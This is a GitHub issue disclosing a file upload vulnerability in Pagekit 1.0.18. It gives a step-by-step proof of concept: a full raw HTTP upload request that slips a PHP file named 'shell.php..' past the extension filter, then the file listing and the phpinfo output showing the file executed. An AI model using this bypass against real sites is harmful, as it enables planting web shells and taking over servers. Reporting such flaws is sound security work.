

New issue

[Jump to bottom](#)

file upload vulnerability in pagekit 1.0.18 #970

🟢 Open Townmacro opened this issue on Aug 26 · 0 comments

Townmacro commented on Aug 26

Problem

A file upload vulnerability exists in the storage feature of pagekit 1.0.18, which allows an attacker to upload malicious files

Technical Details

- Pagekit version:1.0.18
- Webserver:Nginx2.4.18
- Database:Mysql5.7.26
- PHP Version:7.3.4
- OS:Windows10

A file upload vulnerability exists in the storage feature of pagekit v1.0.18, which allows an attacker to upload malicious files

1. do not set allow php files to be uploaded

系统

本地化

缓存

邮件

系统

存储

File Extensions

Google reCAPTCHA

开发者

/storage

bmp.gif.jpeg.jpg.mp4.ogg.pdf.png.svgz.svg.swf
Allowed file extensions for the storage upload.

☐ Enable for user registration and comments
Only key pairs for Google reCAPTCHA V2 Invisible are supported.

☐ 开启调试模式
☐ 开启调试工具栏

2. then select the upload point to upload the malicious php file and modify the packet via Burp Suite to change the file name

```

1 POST /CMS/pagekit/index.php/system/finder/upload HTTP/1.1
2 Host: 192.168.0.158
3 Content-Length: 539
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/95.0.4638.54 Safari/537.36
5 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOU4C8cv1MbCbT4E
6 Accept: */*
7 Origin: http://192.168.0.158
8 Referer: http://192.168.0.158/CMS/pagekit/index.php/admin/site/storage
9 Accept-Encoding: gzip, deflate
10 Accept-Language: zh-CN,zh;q=0.9
11 Cookie: pagekit_session=sc54orjgldp4m4804epmOckuhg; pagekit_auth=
  X%2FM1irPPzTb23oM1xNLalyMmWZ%2Fowq3TJ3VLqVbAAABd2ZdkQTCzHRV6HfyFukWt; _identity=
  9f37cceaf4d9e9149aa2317963e6377a3719a21fe8595fafba2da64cdc4d9b03a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3B
  i%3A1%3Bs%3A4%3A%22%5B2%2C%22uiDLoVDIPpLSpkQk8FHGDkY_8F_YE9-W%22%2C2592000%5D%22%3B%7D
12 Connection: close
13
14 -----WebKitFormBoundaryiOU4C8cv1MbCbT4E
15 Content-Disposition: form-data; name="files[]"; filename="shell.php.."
16 Content-Type: application/octet-stream
17
18 <?php
19 phpinfo();
20 -----WebKitFormBoundaryiOU4C8cv1MbCbT4E
21 Content-Disposition: form-data; name="path"
22
23 /
24 -----WebKitFormBoundaryiOU4C8cv1MbCbT4E
25 Content-Disposition: form-data; name="root"
26
27 storage
28 -----WebKitFormBoundaryiOU4C8cv1MbCbT4E
29 Content-Disposition: form-data; name="_csrf"
30
31 5ac4abdb63b15559b224bf84f1e4f8b5ce17706f
32 -----WebKitFormBoundaryiOU4C8cv1MbCbT4E--
33

```

Change from shell.php to shell.php..

3. Upload the file successfully

Site

Upload complete.

admin

PAGES

WIDGETS

STORAGE

SETTINGS




4 Files

Q

ADD FOLDER

UPLOAD


HOME

<input type="checkbox"/>	NAME	SIZE	MODIFIED
<input type="checkbox"/>	 home-hero.jpg	818 KB	6 years ago
<input type="checkbox"/>	pagekit-logo-contrast.svg	2 KB	6 years ago
<input type="checkbox"/>	 pagekit-logo.svg	2 KB	6 years ago
<input type="checkbox"/>	 shell.php	17 Bytes	In 1 second

4. The file can then be accessed at `/storage/shell.php`

`/storage/shell.php`

PHP Version 7.3.4



System	Windows NT DESKTOP-P7JD678 10.0 build 18363 (Windows 10) AMD64
Build Date	Apr 2 2019 21:50:57
Compiler	MSVC15 (Visual C++ 2017)
Architecture	x64
Configure Command	cscrip /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--with-pdo-oci=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "--with-oci8-12c=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--without-analyzer" "--with-pgo"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	C:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20180731
PHP Extension	20180731
Zend Extension	320180731
Zend Extension Build	API320180731,NTS,VC15
PHP Extension Build	API20180731,NTS,VC15
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	disabled
Registered PHP Streams	php, file, glob, data, http, ftp, zip, compress.zlib, https, ftps, phar
Registered Stream Socket Transports	tcp, udp, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters	convert.iconv.* string.rot13 string.toupper string.tolower string.strip_taps convert.* consumed dechunk

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

